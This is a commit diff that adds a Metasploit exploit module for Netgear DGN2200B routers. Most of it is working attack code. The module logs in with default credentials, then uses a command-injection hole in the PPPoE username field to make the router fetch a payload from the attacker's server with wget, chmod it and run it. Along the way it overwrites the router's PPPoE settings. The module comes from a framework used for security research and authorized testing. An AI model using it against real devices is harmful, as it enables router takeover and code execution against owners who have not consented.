netgear dgn2200b pppoe exec exploit - initial commit
m-1-k-3
parent
3a030b2d78
commit
91b0e5f800
|
|
@ -0,0 +1,288 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::Remote::HttpServer
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Netgear DGN2200B Command Execution - Upload and Execute',
|
||||||
|
'Description' => %q{
|
||||||
|
Some Netgear Routers are vulnerable to an authenticated OS command injection.
|
||||||
|
Default credentials for the web interface are admin/admin or admin/password.
|
||||||
|
Since it is a blind os command injection vulnerability, there is no output for the
|
||||||
|
executed command when using the cmd generic payload. A ping command against a
|
||||||
|
controlled system could be used for testing purposes.
|
||||||
|
|
||||||
|
WARNING: We overwrite the PPPOE configuration! Backup it prior using this module.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||||
|
'juan vazquez' # minor help with msf module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'BID', '57998' ],
|
||||||
|
[ 'EDB', '24513' ],
|
||||||
|
[ 'OSVDB', '90320' ],
|
||||||
|
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-015' ]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Feb 15 2013',
|
||||||
|
'Privileged' => true,
|
||||||
|
'Platform' => ['linux','unix'],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true
|
||||||
|
},
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'CMD',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Platform' => 'unix'
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'Linux mipsbe Payload',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_MIPSBE,
|
||||||
|
'Platform' => 'linux'
|
||||||
|
}
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 1,
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
|
||||||
|
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
|
||||||
|
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
|
||||||
|
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
|
||||||
|
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def request(cmd,user,pass,uri)
|
||||||
|
begin
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => uri,
|
||||||
|
'method' => 'POST',
|
||||||
|
'authorization' => basic_auth(user,pass),
|
||||||
|
'encode_params' => false,
|
||||||
|
'vars_post' => {
|
||||||
|
"login_type" => "PPPoE(PPP+over+Ethernet)",
|
||||||
|
#"pppoe_username" => "%26#{cmd}%26",
|
||||||
|
"pppoe_username" => "`#{cmd}`",
|
||||||
|
"pppoe_passwd" => "test123",
|
||||||
|
"pppoe_servicename" => "",
|
||||||
|
"pppoe_dod" => "1",
|
||||||
|
"pppoe_idletime" => "5",
|
||||||
|
"WANAssign" => "Dynamic",
|
||||||
|
"DNSAssign" => "0",
|
||||||
|
"en_nat" => "1",
|
||||||
|
"MACAssign" => "0",
|
||||||
|
"apply" => "%C3%9Cbernehmen",
|
||||||
|
"runtest" => "yes",
|
||||||
|
"wan_ipaddr" => "0.0.0.0",
|
||||||
|
"pppoe_localip" => "0.0.0.0",
|
||||||
|
"wan_dns_sel" => "0",
|
||||||
|
"wan_dns1_pri" => "0.0.0.0",
|
||||||
|
"wan_dns1_sec" => "...",
|
||||||
|
"wan_hwaddr_sel" => "0",
|
||||||
|
"wan_hwaddr_def" => "84:1B:5E:E1:E1:E1",
|
||||||
|
"wan_hwaddr2" => "84:1B:5E:E1:E1:E1",
|
||||||
|
"wan_hwaddr_pc" => "5C:26:0A:E1:E1:E1",
|
||||||
|
"wan_nat" => "1",
|
||||||
|
"opendns_parental_ctrl" => "0",
|
||||||
|
"pppoe_flet_sel" => "",
|
||||||
|
"pppoe_flet_type" => "",
|
||||||
|
"pppoe_temp" => "",
|
||||||
|
"opendns_parental_ctrl" => "0"
|
||||||
|
}
|
||||||
|
})
|
||||||
|
return res
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
|
||||||
|
uri = '/pppoe.cgi'
|
||||||
|
user = datastore['USERNAME']
|
||||||
|
pass = datastore['PASSWORD']
|
||||||
|
rhost = datastore['RHOST']
|
||||||
|
rport = datastore['RPORT']
|
||||||
|
|
||||||
|
#
|
||||||
|
# testing Login
|
||||||
|
#
|
||||||
|
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/',
|
||||||
|
'method' => 'GET',
|
||||||
|
'authorization' => basic_auth(user,pass)
|
||||||
|
})
|
||||||
|
puts res.code
|
||||||
|
if res.nil? or res.code == 404
|
||||||
|
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||||
|
end
|
||||||
|
if [200, 301, 302].include?(res.code)
|
||||||
|
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
|
||||||
|
else
|
||||||
|
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
||||||
|
end
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||||||
|
end
|
||||||
|
|
||||||
|
if target.name =~ /CMD/
|
||||||
|
if not (datastore['CMD'])
|
||||||
|
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||||
|
end
|
||||||
|
cmd = payload.encoded
|
||||||
|
res = request(cmd,user,pass,uri)
|
||||||
|
if (!res)
|
||||||
|
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||||
|
else
|
||||||
|
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
|
||||||
|
end
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
#thx to Juan for his awesome work on the mipsel elf support
|
||||||
|
@pl = generate_payload_exe
|
||||||
|
@elf_sent = false
|
||||||
|
|
||||||
|
#
|
||||||
|
# start our server
|
||||||
|
#
|
||||||
|
resource_uri = '/' + downfile
|
||||||
|
|
||||||
|
if (datastore['DOWNHOST'])
|
||||||
|
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
|
||||||
|
else
|
||||||
|
#do not use SSL
|
||||||
|
if datastore['SSL']
|
||||||
|
ssl_restore = true
|
||||||
|
datastore['SSL'] = false
|
||||||
|
end
|
||||||
|
|
||||||
|
#we use SRVHOST as download IP for the coming wget command.
|
||||||
|
#SRVHOST needs a real IP address of our download host
|
||||||
|
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
|
||||||
|
srv_host = Rex::Socket.source_address(rhost)
|
||||||
|
else
|
||||||
|
srv_host = datastore['SRVHOST']
|
||||||
|
end
|
||||||
|
|
||||||
|
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
|
||||||
|
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
|
||||||
|
start_service({'Uri' => {
|
||||||
|
'Proc' => Proc.new { |cli, req|
|
||||||
|
on_request_uri(cli, req)
|
||||||
|
},
|
||||||
|
'Path' => resource_uri
|
||||||
|
}})
|
||||||
|
|
||||||
|
datastore['SSL'] = true if ssl_restore
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# download payload
|
||||||
|
#
|
||||||
|
print_status("#{rhost}:#{rport} - Asking the Netgear device to download #{service_url}")
|
||||||
|
#this filename is used to store the payload on the device
|
||||||
|
filename = rand_text_alpha_lower(8)
|
||||||
|
|
||||||
|
#not working if we send all command together -> lets take three requests
|
||||||
|
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
|
||||||
|
cmd = Rex::Text.uri_encode(cmd)
|
||||||
|
res = request(cmd,user,pass,uri)
|
||||||
|
if (!res)
|
||||||
|
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||||
|
end
|
||||||
|
|
||||||
|
# wait for payload download
|
||||||
|
if (datastore['DOWNHOST'])
|
||||||
|
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Netgear device to download the payload")
|
||||||
|
select(nil, nil, nil, datastore['HTTP_DELAY'])
|
||||||
|
else
|
||||||
|
wait_linux_payload
|
||||||
|
end
|
||||||
|
register_file_for_cleanup("/tmp/#{filename}")
|
||||||
|
|
||||||
|
#
|
||||||
|
# chmod
|
||||||
|
#
|
||||||
|
cmd = "chmod 777 /tmp/#{filename}"
|
||||||
|
cmd = Rex::Text.uri_encode(cmd)
|
||||||
|
print_status("#{rhost}:#{rport} - Asking the Netgear device to chmod #{downfile}")
|
||||||
|
res = request(cmd,user,pass,uri)
|
||||||
|
if (!res)
|
||||||
|
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||||
|
end
|
||||||
|
#the device needs around 30 seconds to apply our current configuration
|
||||||
|
print_status("#{rhost}:#{rport} - Waiting 30 seconds for reloading the configuration")
|
||||||
|
select(nil, nil, nil, 30)
|
||||||
|
|
||||||
|
#
|
||||||
|
# execute
|
||||||
|
#
|
||||||
|
cmd = "/tmp/#{filename}"
|
||||||
|
cmd = Rex::Text.uri_encode(cmd)
|
||||||
|
print_status("#{rhost}:#{rport} - Asking the Netgear device to execute #{downfile}")
|
||||||
|
res = request(cmd,user,pass,uri)
|
||||||
|
if (!res)
|
||||||
|
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||||
|
end
|
||||||
|
#the device needs around 30 seconds to apply our current configuration
|
||||||
|
print_status("#{rhost}:#{rport} - Waiting 30 seconds for reloading the configuration")
|
||||||
|
select(nil, nil, nil, 30)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
# Handle incoming requests from the server
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
#print_status("on_request_uri called: #{request.inspect}")
|
||||||
|
if (not @pl)
|
||||||
|
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
|
||||||
|
@elf_sent = true
|
||||||
|
send_response(cli, @pl)
|
||||||
|
end
|
||||||
|
|
||||||
|
# wait for the data to be sent
|
||||||
|
def wait_linux_payload
|
||||||
|
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
|
||||||
|
|
||||||
|
waited = 0
|
||||||
|
while (not @elf_sent)
|
||||||
|
select(nil, nil, nil, 1)
|
||||||
|
waited += 1
|
||||||
|
if (waited > datastore['HTTP_DELAY'])
|
||||||
|
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
Loading…
Reference in New Issue